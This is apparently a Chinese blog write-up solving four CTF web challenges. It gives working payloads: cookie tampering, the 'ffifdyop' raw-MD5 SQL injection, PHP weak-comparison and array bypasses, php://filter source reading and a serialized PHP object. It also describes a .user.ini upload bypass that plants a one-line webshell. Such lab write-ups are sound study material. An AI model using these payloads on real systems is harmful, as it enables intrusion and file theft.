[极客大挑战 2019]BuyFlag
进去是一个网页,查看源代码
说只有啥玩意的学生才能买,就抓包看看
发现cookie后面有个user=0,改成一试试
改完后说我是啥啥啥的学生了可以支付购买了
结合前面给的验证
payload:?password=404a&money=100000000
他还嫌钱的数字长,离谱,换成科学计数法
感觉这道题非常有意思
[BJDCTF2020]Easy MD5
题目给了个github链接
点进去能看到源码,我们先看index.php
是个md5加密后的注入,这让我想起我在ctfshow做过
输入ffifdyop,即可
他的md5恰好是’or’6�]��!r,��b
可以拼接成select * from admin where password=’‘or’6<乱码>’
之后变成了另一个网页
源代码显示还是个md5绕过,
payload:?a=sonZ7y&b=byGcY
利用php弱比较
变成了这样,好家伙这波是全等于
利用md5不能处理数组绕过null=null
payload:param1[]=1¶m2[]=2
[ZJCTF 2019]NiZhuanSiWei
用php伪协议绕过
data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
在利用协议读取useless.php
file=php://filter/read=convert.base64-encode/resource=useless.php
读取的源码
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
这是个简单的反序列化,让file等于flag.php就行
O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}
然后三者结合
终极payload:
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
flag就出来了
[SUCTF 2019]CheckIn
打开是个文件上传,上传显示非法后缀,应该是个黑名单
上传.user.ini,写图片头。
/a228d6b3b0d235dc04adf5f378363159
然后不让我写<?
然后换一种写法写一句话
然后提交,用一句话连接
今天的任务完成了,溜溜球